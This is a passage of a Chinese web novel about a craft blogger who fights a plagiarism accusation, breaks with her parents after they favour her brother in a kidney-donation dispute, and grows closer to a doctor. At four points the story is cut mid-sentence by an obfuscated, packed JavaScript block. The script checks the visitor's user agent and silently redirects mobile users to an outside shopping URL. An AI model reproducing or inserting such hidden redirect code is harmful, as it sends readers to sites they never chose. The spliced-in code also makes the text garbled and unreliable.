张威笑着把助理刚送上来的咖啡送到两人面前,笑道:“不麻烦,虽然你们只是朋友……” 他特意咬重了“朋友”两个字,别有深意地看了眼孟决明,又将目光移回姜颂这里,继续说:“但是呢,他亲自带你来,说明你在他心里也绝对是很重要的朋友,那就也是我张威的朋友,所以不用跟我客气。” 听到这,姜颂终于明白孟决明为什么非要执意跟她一起过来了。 她要是自己过来,张威对她进行三百六十度的观察和调侃,她自己还真是难以招架。 孟决明主动揽过话头,让不知道怎么接话的姜颂松了口气。 暂且商量好对策,张威说律师函明天就可以发送,让她先等等。 姜颂说晚上要请客吃饭,张威却笑:“举手之劳,要请客你就请他吧。” 孟决明无奈地看着他,担心他再说出什么不妥当的话来,便拉着姜颂告辞了。 回去的路上姜颂一直在车上神游天外。 孟决明侧头看了她好几次,最后一次,他对她说:“张威的话你别放在心上,他开玩笑的,如果让你感觉到冒犯,我替他跟你道歉。” 姜颂摇头。 “没有,我只是在想一些事情。”她微微一笑,“再说你道什么歉,我还要谢谢你帮我引荐这么专业的律师。” 确认她真的没有因为那些话而不开心,孟决明才放了心。 “包在后座,别忘记拿了。”眼看离她家小区越来越近,他出声提醒。 姜颂往后座看去,果然放着那个被她遗忘在病房的包,她伸手拿过来。 孟决明犹豫着开口:“我……” 姜颂:“嗯?” 顿了一下,孟决明说:“我去拿包的时候,你妈妈问了你什么时候回去。” 姜颂把包放在膝上,总觉得那包上沾上了医院的消毒水气味。 良久,她带着些许嘲意说道:“没事,很快她就不会问了。” 等姜骄回来,她很快就会被遗忘。 她问孟决明:“她现在这个情况,还能做骨折手术吗?” “这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他低垂着眉眼,眉心微微拧着,长而直的睫毛覆盖大半眼瞳,却掩不住他眼神里的忧虑。大约是担心捏痛她,他托在底下的那只手几乎没用一点力气,轻得不能再轻。 好半天,她看着那伤口,终于找回自己的声音,她小声说:“疼的。” 他叹口气,抬眼:“姜姜,你好歹也尊重一下我这个医生,别在我面前对自己做这么残忍的事了。” “倒刺不能随便撕,容易感染。”他严肃地说,“不是吓唬你,感染严重的可能会截肢。” 他一边说着,一边又拆一支棉签重新擦拭一遍,用创可贴包裹好,把剩下的东西放进那个小袋子里给她:“万一要是发炎了就涂里面的药膏。” 姜颂点点头。 孟决明重新系好安全带,发动车子。 姜颂忽然说:“你知道我刚刚才律所出来这一路上在想什么吗?” 孟决明正准备起步,从后视镜里观察后方路况,听见她这么问,忙中分心笑着顺着她的话问:“什么?” “我在想,”她的声音轻轻的,“我好像有点习惯你在我身边了。” 38. 第 38 章 张威的办事效率很高,当晚就把起草好的律师函发了过来。 按照张威的建议,姜颂写了一篇澄清贴,在其中说明了最近未更新的原因和抄袭事件的自证,并抛出了医院缴费证明和那张成品图原图与对方博主封面图的详细对比,最后附带上了电子版律师函。 帖子发出后,姜颂一直盯着舆论的风向,依然是好坏参半。 她翻看着吵得不可开交的评论区,虽然有很多质疑声,但下面也会有人在为她反驳。翻得多了,她对一个顶着平台原始乱码昵称和头像的账号慢慢眼熟了起来。 这个账号,几乎在每一条站在她对立面的评论下面都留了言反驳。 比如别人说她理由站不住脚,这人就回:“那什么样的理由能站住脚?” 别人说她的图都是P的,这人回:“你有什么证据?” 别人对她阴阳怪气甚至恶语相向,这人回:“事情没弄清楚之前你就这样说话太没礼貌了。” 没有丝毫杀伤力的语言,在这个乌烟瘴气的评论区里透着一种格格不入的正经感,正经感里又透着一丝冷冷的幽默。 她看到那眼熟的IP地址,一下子猜到这账号皮下是谁。 想到他百忙之中拿着手机在她评论区里来回巡逻,他那严肃正经的脸瞬间浮现在她脑海里,她一时间不由得笑出了声。 不过他为什么用小号来回复呢,明明他之前关注她的大号也是刚注册不久的新号,信息一片空白,不存在被人人肉的隐患。 思考良久,姜颂点进帖子一看,发现自己把帖子的可见范围误触设置成了“不给谁看”,系统默认了上次她发小兔医生成品图的时候设置的分组,把孟决明关注她的大号成功屏蔽在外。 姜颂赶紧修改权限,把人放出来。 看了一圈下来,评论区的情况跟她预想的差不多。质疑的点主要是围绕着她和对方博主的图到底谁的是P的,期间对方博主可能是手滑,不小心给她帖子点了个赞又取消,留下了记录被姜颂看到。 她等了一会儿,对方一直没有回应。 三个小时后,帖子被巨大的热度裹挟着冲上热搜,浏览量越来越夸张。 然而她没料到的是,有摄影圈的专业人士转载了她的帖子,并且发布了一个视频,从专业角度分析了两张图,逻辑清晰、有理有据地力挺她的才是原图。有人质疑,这位更是直接甩出了自己一系列的摄影奖项来让对方哑口无言。 巧的是,这位专业人士她认识,正是她之前咨询过的女摄影师——拂晓。 姜颂自己也傻了。 她和拂晓只有那次拍写真时的一面之缘,那天咨询她的意见姜颂已经觉得有点打扰对方,完全没有想到她会蹚她这趟浑水。 她找到拂晓的微信,发送了一个探头探脑的小狗表情包过去。 拂晓则是回她了一张小牛微笑图。 姜颂:【谢谢!】 拂晓:【是我要谢你。】 姜颂挑挑眉,不明白她为什么这么说。 拂晓那边打了好一会儿字,才发送了两段话过来。 拂晓:【去年冬天接你单子的时候正是我最迷茫的时期,觉得自己可能就是没有那个实现导演梦的命,实在不行就算了。摄影师的收入并不稳定,家里也一直在催我考个稳定的编制工作。就差那么一点点,我就要妥协了。幸好我接了你的单子,听到了你对我说的那些话。回去之后我想了很久,还是决定再给自己一点时间去坚持一下,然后今年过年的时候,我意外得到了一个机会。】 拂晓:【我要去导演一部网剧啦!虽然不是什么大制作,但我真的很开心。我原本打算等项目彻底稳定下来再告诉你的,只是没想到你遇到了这样的事,所以今天我才来略尽我的绵薄之力,也顺便把这个好消息分享给你。】 这世界真是奇妙。 姜颂认真看完这两段长长的文字,心中一片感慨。 姜颂:【恭喜你!到时候网剧上线一定记得通知我哦,我去给你支持云包场!还有,如果你需要什么道具一定要告诉我,全都包在我身上,能省一点成本是一点。祝拍摄顺利,上线大爆!】 姜颂:【(发射爱心.jpg)】 多亏了拂晓的分析视频,毕竟有专业人士背书,此一举为姜颂扭转了很大一部分风评。 与此同时,那个用了小兔医生的剧组官方账号评论区底下,除了主演明星粉丝的控评之外,也逐渐有了不同的声音。 当天晚上,姜颂的账号后台收到了剧组发来的私信。 对方先对她本人道了歉,明确表示剧方对手作博主抄袭事件完全不知情。 【这个道具在剧里出现频次太高,涉及重要剧情实在没有办法删减,后续剧方还有用道具形象出周边的计划。我代表剧方来是想和您征求一下意见,看您方不方便把小兔医生系列的形象版权出售给剧方,价格我们可以见面详谈。】 此时已是深更半夜,对面大概也是个苦命的打工人,姜颂无意为难对方。但现在事情还没完全解决,她更需要的是对方博主能够为自己的所作所为向她道歉,还她一个清白。一切都要等到尘埃落定之后再商量。 她如是跟对方说。 对面说正在跟对方博主进行沟通,一定会给她一个解释。 盯了一整天手机,姜颂有点头昏脑涨的,只想着简单洗漱之后赶紧上床睡觉。可没想到一切准备就绪,人躺在床上却怎么也睡不着了。 她在床上翻来覆去地烙饼,白天看到的那些评论在她脑海里挥之不去,尤其是某个原始头像的小号发言。 她闭着眼睛,在床上躺着躺着,忽然笑得再没了半分困意。 一伸手,她摸到手机,在黑暗中解锁屏幕,点进评论区想重温一遍某人那些毫无杀伤力的反驳话语。不料被她抓到了几条显示“刚刚”发布的新鲜发言。 逗弄的心思在她心中顿时燃起。 姜颂跳转到微信。 姜颂:【睡了吗?】 消息刚发送,她就看到上方“对方正在输入中”的字样快速闪动了一下便消失了。 等了两分钟都没见有消息发过来,姜颂几乎要怀疑是自己刚才眼花了。 五分钟后。 孟决明:【还没有。】 姜颂忍着笑,从床上坐起来,发消息:【这么晚还没睡,在干嘛?】 孟决明:【看一篇文献。】 这五个字像是戳中了姜颂的笑点,让她抱着手机笑得前仰后合。 姜颂:【哦,看文献。】 又笑了两分钟,她才滑到评论区截了张图,发过去:【看文献的时候怎么还开小差啊孟医生。】 他不说话了。 半晌,他才又发了一句:【你怎么知道这是我?】 姜颂:【大概是因为,除了你,不会再有人连在网上跟人吵架都吵得这么认真了。】 也不会有人在这个评论区里跟人吵架的根本原因是为了维护她这个人,无关事情的对错。 她知道,今天这件事即使他不知晓内情,他也还是会维护她。 她的一颗心在他的温柔中慢慢陷落。 孟决明:【你告诉过我,不要为了网上那些根本不了解自己的人的发言不开心,所以你也别再看评论了。】 柔软的情绪充盈着她的胸腔,她说:【但是我现在觉得很开心。】 * 隔天中午,对方博主在自己账号发布了一条长长的文字贴,言辞相当恳切地承认了自己抄袭,正式向姜颂道歉。 没过一会儿,剧组人员再次发私信询问她是否愿意售卖版权。 姜颂正坐在工作台前,与眼前五个形态各异的小兔医生对视,一排兔子正温和地看着她,无端让她想到某个人看向她的眼神。 她去询问了孟决明的意见。 孟决明隔了一会儿回她:【这是你的创意,当然一切由你决定。】 姜颂:【你是这套玩偶的灵感来源,我觉得你的意见也很重要。】 孟决明:【我永远支持你的所有决定。我唯一的意见是如果你决定要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210148|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖,那报价高一些。我作为灵感来源非常荣幸地希望你能拿到更多的报酬,这是你应得的。】 姜颂看着屏幕缓缓弯起唇角,大概没有人会不喜欢得到一个人全心全意的支持。 孟决明:【手术要开始了,你还过来吗?】 姜母的手术就定在今天。 姜颂说不了。 他回:【我先去做准备。有事留言给我,等我出来回你。】 姜颂发了一个小兔拜拜的表情包。 结束和孟决明的对话,她和剧组人员商议了见面签合同的时间和地点。 商议初步达成,剧方和女主演工作室也出来发布了相应的情况说明,竭力地将自己摘出来,并且公布已经征得了她这个原创的同意,准备购入版权。 今天这前后脚发布的三篇文字姜颂大致扫了一遍心里就有了数,能看得出来全是公关人员写的。她猜大概是昨天舆论风向有变,女主演怕被波及,剧方为了保证剧的口碑,两方不得不向对方博主一起施压。 昨天联系她的人说剧方对此事不知情,她看并不见得。假如没有拂晓的参与,这三方人员大概谁也不会出面管她的死活,只会任由她被不明真相的网友攻击。 人都是利己的。 姜颂也决定利己一次。 她在网上搜集了一些关于这部影视剧的资料,了解过后大概摸清了班底实力之后,对签约的模式和价格有了些想法。 正当她陷入思考之时,手机铃声打断了她的思绪。 她瞥见来电显示,干脆利落地伸手挂断。 根本就不用接,距离孟决明发送最后一条消息的时间已经过去了一个多小时,手术应该早就已经开始了,这通显示母亲备注的来电大概率是姜父打的,也有可能是姜骄。 她笑笑,把手机调成静音。 * 跟剧方约定的见面时间在周五下午。 咖啡馆里对方早已提前到达等候。 来的是个面容和善的年长姐姐。见到姜颂的第一秒,她便立刻换上了亲切的笑容,夸她长得漂亮有气质,说一直很喜欢她的作品很高兴和她合作。 这样套近乎的手段并没有让姜颂产生丝毫心软的感觉,她开门见山地提出了自己的要求:“我只签分成合同,不接受买断。可以永久授权全品类周边,底价二十万,一次性付清。后续销售额五五分。” 对方也是久经沙场的老手,自然听得出来姜颂语气里的不容置喙。她只是笑了笑,说要跟公司联系帮她争取一下。 她打完电话回来,说公司同意了她的要求。接着从包里拿出两份合同,直接在上面做了修改后给她。 张威提前知道她要签合同的事,说可以帮她看合同,姜颂没客气,但坚持说等事情解决后一定要请他吃饭,要不然不好意思再麻烦他,张威大笑着答应。 专业的事还是得专业的人来做才更保险,张威很快给出了修改意见,对方按照要求当场修改好合同,姜颂才签下名字。 合同签署完毕,对面的姐姐说:“代表公司的利益我当然希望压一些条件。但同样作为女性,我为你感到高兴。” 她起身,伸手:“姜小姐,合作愉快。” 拿着合同踏出咖啡店,姜颂还有点不真实的感觉。 看着合同上大写的“二十万元”,她站在原地恍惚了好一会儿。 她打开手机,点进银行软件,目光紧紧盯着余额。 这些年她拼命工作接单,从一开始一些零散的小单子,到后来帮一些漫展和明星后援会做物料,再到近一年开始接到剧组的定制大单…… 回头看,每一步,她都走得如此艰辛。其中滋味也许只有天边那轮在无数个夜晚伴着她在工作台前忙碌的月亮知晓。 到如今,她的账户余额终于即将足够她完成买一套自己的小房子的梦想。 她忍不住热泪盈眶。 她抬头望向远方,天边的云朵被缓慢下沉的太阳映成金色。 在这一天的末尾,还有最后一件事等着她去做。 39. 第 39 章 姜母醒来的时候,恍然看见病床旁的人影,差点以为自己还在梦中。 愣神过后,她枯寂的眼神中渐渐浮现出惊喜之色。 “姜姜!”她的腿还打着石膏和绷带,整个人艰难地从床上坐起来,抓着床单借力的手背凸起青筋。 姜颂坐在床边,左手拿着一个苹果,那是她刚从一旁床头柜上的袋子里拿出来的。她捏着一把小小的水果刀,正慢悠悠地削皮。 看到母亲的动作,她刀下规整的苹果皮略微削歪了半厘米,随后又立即回到正轨。 姜母终于挣扎着坐起来:“姜姜,你这几天去哪了,妈妈给你打电话也一直没人接。” “有点事。” 姜颂的语气毫无起伏,低着头,问:“小骄呢,我怎么没看见他?” “他和你爸去吃饭了。”姜母说,“其实他回来也没什么用,男孩哪会照顾人呢。” 姜颂掌中的苹果缓慢滚动,刀片以毫米为单位推进,并未接话。 “那天那个事……”姜母顿了顿,面露难色,“你听妈妈解释,不是你想的那样。妈妈是想着那家人条件很好,有车有房的,那个孩子他是有点问题,脾气还是挺好的。他爸妈你也见过,都是文化人,也不会亏待你。其实也没什么不好的,但你要是实在不愿意就算了,妈妈本来是想跟你商量一下的,但还没来得及说,你就跑了。” 姜母说完,小心翼翼地看着她,但姜颂却什么反应也没有,只专心削皮,仿佛这苹果削出来能从天而降一百万。 她不说话,姜母也不知道该说点什么,看着那苹果她忽地想起来柜子里还有些姜骄买回来的吃的,急忙去找:“还没吃饭吧?这有点吃的你先垫垫。” “妈妈。”她冷不防地叫住母亲。 苹果削到三分之一处,她食指勾着刀背,拇指按着果皮,垂眸看着一点点分离的皮肉:“元旦我回去的时候,你说你给我准备了嫁妆。我想知道,如果我同意嫁过去,你会给我多少嫁妆?” 她停了动作,抬眼,直直盯着母亲的眼:“还是打算让我净身出户,一分钱嫁妆都没有地去别人家?” “有的!会有的!妈妈一直给你存着呢。就是……咱家的条件你也知道,你弟弟的婚事操办完之后,确实拿不出更多了,只有十万。” 姜颂闻言唇角勾起一弯弧度,道:“那我就放心了。” “傻孩子,妈妈怎么可能什么也不给你留呢。” 正说着话,姜骄和姜父推开了病房房门。 姜骄:“姐!” 姜父:“哼,还知道回来。” 姜颂隔着一段距离看姜骄:“回来的正好。” 她放下没削完的苹果,抽了张纸巾擦手后,拿过放在身后陪护床上的包。 接着,从里面抽出两份纸质报告。 这报告是下午新鲜出炉的,孟决明亲手交给了她。 “把小骄叫回来不只是为了让他尽孝照顾你的,还有件事,我先没让他告诉你。” 姜骄顿时慌张地想要阻止她:“姐……” 姜母看看儿子的脸色,又看看女儿手里那些纸,目光回落到姜颂身上,眼底划过一丝恐惧。 她紧紧盯着女儿的嘴唇,渴望从那里提前得到一些令她安心的消息。 可惜没有。 “你得了尿毒症。”姜颂言简意赅,“晚期。换肾手术大约要二十万。” 姜母眼神直愣愣地接收着这个消息,忽地卸了力气。 一屋子里的一家四口死一般的寂静。 最先开口的还是姜父,他一脸倒霉相地啐了一口,指着姜母:“我是造了什么孽啊摊上你这么个赔钱玩意,家里可没钱给你治病!” 姜骄沉默地低下头,眼眶泛着红。 姜母还在消化这个消息,没缓过神来,脸上的血色一点一点褪去。 “不过妈妈,你运气不错。”姜颂晃了晃手里那两份检测报告,笑着说,“小骄配型成功了,肾源不用担心了。” 姜母惨白的脸色却没有一丁点的缓和。 姜父插嘴道:“你死就死了可别想拉着小骄,我们姜家就这么一根独苗,经不起你这么折腾!” “爸!”姜骄拉住姜父。 “小骄刚毕业肯定是拿不出这么多钱,如果他出肾源,我可以出手术费。”姜颂目不斜视,只看着姜母,“妈妈,你拿主意吧。” “不行……”姜母那双浑浊的眼里涌出泪来,无助地摇头,“小骄他还这么小,少一个肾不行的,不行的……” “那也可以排队等肾源,我问过了,一个肾源至少二十万。”姜颂说,“排不排得到另说,但我出了手术费,肾源的钱就该小骄拿了,他没有,那妈妈,你有这么多钱吗?” “我……”姜母的嘴唇颤抖着,眼泪不停地掉。 “她好歹是你妈,家里现在没钱,你就不能拿钱给你妈救命?”姜父说。 姜颂忽略掉他的声音,只盯着姜母:“妈妈,我再问一遍,你想让小骄出钱还是出肾源?” 姜母一个劲儿地摇头,无论如何也做不出选择。 她慌乱中抓住姜颂的手腕:“姜姜,你肯定还有存款的,赵家那五十万肯定还剩下很多,拿出来救救妈妈吧好吗?就算是妈妈跟你借的,以后妈妈打工把钱还给你,等你结婚生孩子了妈妈也去给你帮忙好吗?” 她声音颤抖却语速飞快,生怕说晚一秒姜颂就抛下她不管了。 姜颂垂眼盯着腕上那只粗糙的手,钳得她有些痛。 两个选项,母亲哪个也没选。 “如果,”她抬头缓缓说,“我说我也配型成功了呢?” 在姜母由惊恐渐渐过渡到庆幸的目光中,她清晰地重复:“我,和姜骄,都符合捐肾条件,你选……” 没等她说完,腕上的痛感愈发强烈。姜母情绪激动,双手一齐上阵,死命地抓住她如抓浮木,脱口而出:“你救救妈妈吧,好不好,你就救救妈妈,你这么年轻,又是女孩子,少了一个肾不会有什么影响的!” 姜颂眼睛一眨不眨地盯着眼前这个给了她生命的女人,她在她身体里住了十个月,是血脉相连的骨肉至亲,然而现在她看着那张熟悉得不能再熟悉的脸只觉得陌生。 姜母依旧抓着她喋喋不休地乞求,攥紧她的手腕半分不肯松开,拉着她连带着身体一起轻轻晃动。 她数不清这是她第几次听到“求求你”这样的话从至亲的嘴里说出来又落进她的耳朵里。 求求你…… 求求你…… 她任由她晃动,眼底的希冀一点点碎成模糊的水汽。 “我和小骄只差了六岁。” 她平静地吐出这句话。 “年纪小,是他不能捐的托辞。”她低低笑了一声,满是嘲弄之意,也不知是在嘲讽谁,“原来到了我这,就会变成能捐的理由。” “原来你真的不爱我。”她闭上眼,轻声复诵,“你真的不爱我……” 每一次试探后得到的两种答案其实从始至终都只有一种。 就像抛硬币做决定的时候,人一旦决定抛第二次,心里就该有了答案。可能第二次的答案还是不满意,但最起码,第一次的答案绝对不是心里想要的那个。 也许她也从未坚定不移地相信过母亲的爱,而是一直在回避不被爱的事实,非要反复去抛那枚硬币期盼着得到一点被爱的证明。 何其悲哀。 然而现在她心底最后的那一点期盼也终于磨灭了。 姜骄上前去解释:“姐,妈妈不是那个意思。” “对啊,不是的姜姜。小骄他是男孩,是家里的顶梁柱——” “是吗?”姜颂轻笑一声,毫无征兆地打断她,“那为什么家里出了事,你们第一时间永远只会推着我出去帮你们解决一切问题呢?” 她挣脱母亲的手,站起身,居高临下地审视:“爸和大伯传销被抓,你们逼着我去求赵衡,默认把我嫁到赵家,那个时候你们不说他是顶梁柱。” “你住院,”她看了姜骄一眼,“他就在你们给他买的桐市的新房里住着,离医院不过十几分钟的路程,你都不舍得告诉他来照顾你,这个时候你怎么不说他是顶梁柱?” “姜姜……” 三双眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220205|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛一时全部震惊地看着她。姜骄震惊父亲和大伯被抓,姜父姜母震惊新房的事。 姜颂:“很惊讶我是怎么知道的?” 她笑了,笑着笑着,眼泪就有上涌的意思。 那天下午,孟决明提醒她多个人配型成功的概率会更高,她做完肾脏配型后就给姜骄打去了电话。 她问姜骄人在哪里,姜骄回答的声音带着睡午觉被吵醒的沙哑,稀松平常地彻底打破了她心里那架天平的平衡。 “咱们家在桐市没有一个亲戚朋友,妈,你记得吗,当时你知道我在桐市的时候是怎么跟我说的?”姜颂说,“你跟我说,桐市太远了,你舍不得我。” “那你们把新房买在这里是什么意思呢?总不会是舍得小骄吧?”她说出的每一个字都带着痛意,“你是觉得让他跟我在同一个城市,有什么事好让我继续给他兜底,最好连房贷也一起帮他还了,对吗?” “这里的新房不便宜,你们一辈子存的钱除去彩礼和车,大概也就够付个首付。你刚才说给我留了嫁妆,我想问你是真的吗?” 一连串的质问让姜母说不出话。 姜父在一旁气得冲过来:“我们的钱我们爱给谁就给谁,小骄是你弟弟,你帮衬点怎么了?” 姜颂冷眼扫去:“我还是他姐姐呢,为什么被帮衬的不是我?” 姜父抬手就要打下去,被姜骄一个箭步上去制住。 很多时候,人享受唾手可得的好处久了会成为一种理所当然的习惯。这么多年,家里一直都把他保护得太好了,让他根本看不见姐姐的痛苦。 也是到了此刻他才明白,为何姐姐对他的态度总是那么矛盾。 质问的不是他,却也让他羞愧难当。他背对着姐姐,不敢去看她,更不敢跟她对视。 他听见姐姐喃喃自语似地说:“妈妈,你的演技为什么不能再好一点或者再差一点呢?” 姜颂的语气里带着一点难过和一点恨意,而更多的却是无奈。 她想,无论是再好一点还是再差一点,也许她都不会这么痛苦地在这个家里挣扎这许多年了。 “前些天我问你,如果我是妹妹,小骄是哥哥,你会不会带我走,你说会的,会把我们一起带走。你看,你在两次选择里都从来不会舍弃小骄。你说你会带我走,其实不是的,再来一次,你也还是会做出同样的选择。” 姜颂缓慢地转身拿起包,余光扫到那个削到一半的苹果,果肉已经在慢慢氧化发黄。 她收回目光,将手里那两份纸质报告放在她面前。随后后退几步,站在离姜母病床两米之外。 “我骗你的,都说了是如果。其实只有小骄配上了,我不符合条件。”她苦笑,“嫁妆的问题你也没有回答我,我就当做是真的吧。既然是准备给我的,那我就不要了,连同那几年我给你的钱一起当做我给你出的手术费吧。” “今天我出了这个门,你就当家里只有小骄一个儿子吧,从今以后,姜家所有的事我都不会再管,也不要来找我,因为我只会告诉自己,”她语气柔和却决然,“我早就没有家人了。” 说罢,她疾步走出了病房,边走,边把手机里关于姜家的联系方式全部删除。 身后有母亲的哭喊,有父亲的怒斥,也有弟弟的呼唤。 这一次,她没有回头。 天色将暗未暗,医院早已过了下班时间。 一切的声音随着她步子的移动,渐渐消失在耳畔,终于归于平静。 她走出了医院大门,仰头看着远方的夕阳,深深吸了一口气,又吐出来。 手机忽地响了一声。 她打开来看,是孟决明发来的。 【出来了吗,我在停车场等你。】 像是担心她拒绝,他又很快补了一句:【这个时间不好打车,我送你回去,也顺路的。】 她顺着他给的位置,找到他。 她说:“有点饿了,我请你吃饭吧。” 她明明笑着,孟决明却从中感受到了剧烈的痛。 他知道她今天来医院是来做什么的。 他说好,为她打开车门。 40. 第 40 章 回到家的姜颂只觉筋疲力尽,洗漱过后换了睡衣躺在床上很快睡了过去。 但这一觉并没有持续到天明。 夜半时分,她从乱梦中醒来,睁眼看着头顶的天花板,大脑却是一片空白。 多次试图入睡未果,挣扎了将近一个小时,她认命般叹了口气,起身下床找水喝。 她站在冰箱前,从冰箱门上拿出一瓶矿泉水,冰镇过的水瓶贴着她的掌心,凉得她一个激灵。 她犹豫了一下,思量着这瓶冰水下去她会不会拉肚子。正巧,她一偏头看见厨房的角落里还放着一箱她前阵子凑单买的鸡尾酒。 她的目光黏在那箱酒上停留了数十秒。 最终,她搬着一整箱酒凭着记忆摸黑走到客厅茶几处。 茶几边缘上夹着一盏小灯,是她平时白天赶单子的时候拉上窗帘后用来照明用的。她打开开关,客厅的黑暗被这盏小灯散发出的暖黄色灯光被驱散了些许。 她从沙发上拿了个垫子放在地上,在沙发和茶几之间盘腿坐下,然后将箱子里的酒一瓶一瓶地拿出来摆在茶几上,挨个抠开拉环。 一灯如豆,安静的室内只能听到墙上挂钟秒针走动的声响和她一口接一口咕咚咕咚的吞咽声。 喝到一瓶见底,她长长地呼出一口气。沉寂须臾,她朝四周橱柜里那一排排的手作品望去。 清欢里这套房子的客厅面积并不算大。那年她刚来到桐市,还没找到工作,这已经是她能力范围内能找到的条件最好的房子。 她搬进来的时候这个客厅还是空荡荡的,随着她这几年在手工领域深耕,涉猎的手工种类越来越多,范围越来越广,她每研究出一件新作品,就会在这些柜子里放上一个。 三年过去,柜子越来越多,各式各样的手工作品几乎包围了整个客厅。 然而此时此刻,她坐在客厅中央,却仍旧觉得空旷。 这种感觉一如她刚搬来这里的那天,那时的她身边只有一个小小的行李箱装着她全部的家当,偌大的桐市,她孑然一身,无依无靠。 空落落的孤独感如同一张无形的大网,紧紧将她包围。 深夜的安静令她心慌,也让她有些喘不过气。 她撑着地板站起来,踱步到窗前,想要把窗户打开透透气。 她的手刚搭上窗户边,目光不经意间扫过楼下,看到了那辆位置丝毫未动的车。 楼下。 现在已是凌晨快一点,小区里的住户早就全都熄了灯,一片黑暗,只余楼门口那盏不太亮的路灯照明。 四下无人,黑色宝马静静地停在空地上。 车内没开灯,手机屏幕发出的微弱光线映着男人轮廓清晰的脸,光与影的协作衬得他五官更为立体。 他垂眸看向屏幕上那大片大片绿色气泡上密密麻麻的文字,看得很慢。 从姜颂下车离开的那一刻起,他一直坐到了现在。 傍晚一起吃饭的时候,他就一直在暗暗关注她的情绪。 她在店里大手一挥,差点把菜单上的菜整个全点一遍。菜慢慢上齐,她边吃边悄悄跟他吐槽,说某道菜做的味道不如他做的好吃。偶尔尝到他没给她做过的,就问他会不会做。 但他从她眼底没看出半分如她面上表现出来的那般轻快,只有一片倦意。 她不肯将情绪暴露给他,他也只好配合着回答她,说等他回家研究一下,下次带给她尝尝。她欢欢喜喜地应下。 送她回清欢里的时候,天已经完全暗下来了。目送着她上楼,他的手搭在方向盘上许久未动。 最后,他把车子熄火,停在了这里。 他单手握着手机,拇指缓慢地滑动着屏幕,光线折射着他眼底的泪光。 她酒醉时一直念叨着的“住宿费”让他偶然间窥见了她心底伤痕的冰山一角,后来他曾委婉地向陆轩问过一些关于她的过去,陆轩发了很长很长的几段文字给他。 排列密集的文字里,到处诉说着她的委屈与痛苦。 他将每一个字、每一句话反复咀嚼消化过好无数遍,一遍又一遍地从字里行间汲取着她当时的情绪。 盯着屏幕的眼睛逐渐变得湿润,化作泪珠砸到大段的蝇头小字上。 没等他抬手去擦,模糊的视野中,绿色的微信气泡瞬间变成了一片黑。他连忙揉了揉眼睛,看清那是谁的来电。 急促来电铃声伴着振动传来,他稳定心神,清清嗓子,接起来。 他的嗓音里带着一点哑:“姜姜。” “嗯。”电话里的声音停顿了一下,“你回家了吗?” 闻言,他垂在腿上的手捏了捏裤腿布料。 他声音低了几许:“回了。” 她沉默片刻。 确认似地问:“真的吗?” 裤腿被他捏得皱皱巴巴,他刚想硬着头皮回答,一偏头看到了车窗外那道熟悉的身影。 姜颂举着手机贴在耳畔,长发随意披散在肩头,身上套着白天的外套,衣襟后露出带有简单碎花的睡衣,人离他不过几步远。 手机听筒里传出她的脚步声。 转眼间,她快步来到车前,抬手在他的车窗上敲了三下。 他立刻就要起身,却忘了自己还坐在车里,头顶咚的一声撞在车顶,痛得他直眯眼,却仍半点没耽误地去开车门。 迎着她审视的目光,他在她的注视之下下了车,一时不知道该怎么解释自己怎么还在这里。慌乱中,瞧见她单薄的穿着,只忙着把身上的外套脱下来。 姜颂站在那任他给她披外套,抬头一眨不眨地盯着他,不紧不慢地摁掉电话,手机发出嘟的一声挂断音。 他的目光四处游移,看天看地,就是不看她。 姜颂抬着头,欣赏着他这一副被抓包的慌张表情。 半晌,她似笑非笑道:“回家了?” 他低下头,有些紧张地攥紧衣角:“我……” 他“我”了半天,也没“我”出个下文。 姜颂也不急,等了他一会儿,确认他没有坦白的意思之后,才淡然开口:“如果我今天没看到,你是不是又打算在这里待一夜,然后什么都不告诉我?” 又? 他抬眼,对上她那双洞悉一切的眼。他就知道,这个“又”字代表着什么。 他看了她一会儿,小声问:“……你什么时候知道的?” “前几天。我查了监控,知道你过年前后每天都在我楼下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232380|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 守着。” 她追问道:“为什么不跟我说?” 两人在对视中沉默良久。 开春的夜还是有些凉,晚风吹过,姜颂忍不住打了个冷颤,下意识把手缩进袖子里。 “不合适。”他注意到她的动作,担心她会一直在这跟他僵持下去,无奈地说出了三个字。 他说:“那时候我以为我惹你生气了,你永远都不会再理我了。” 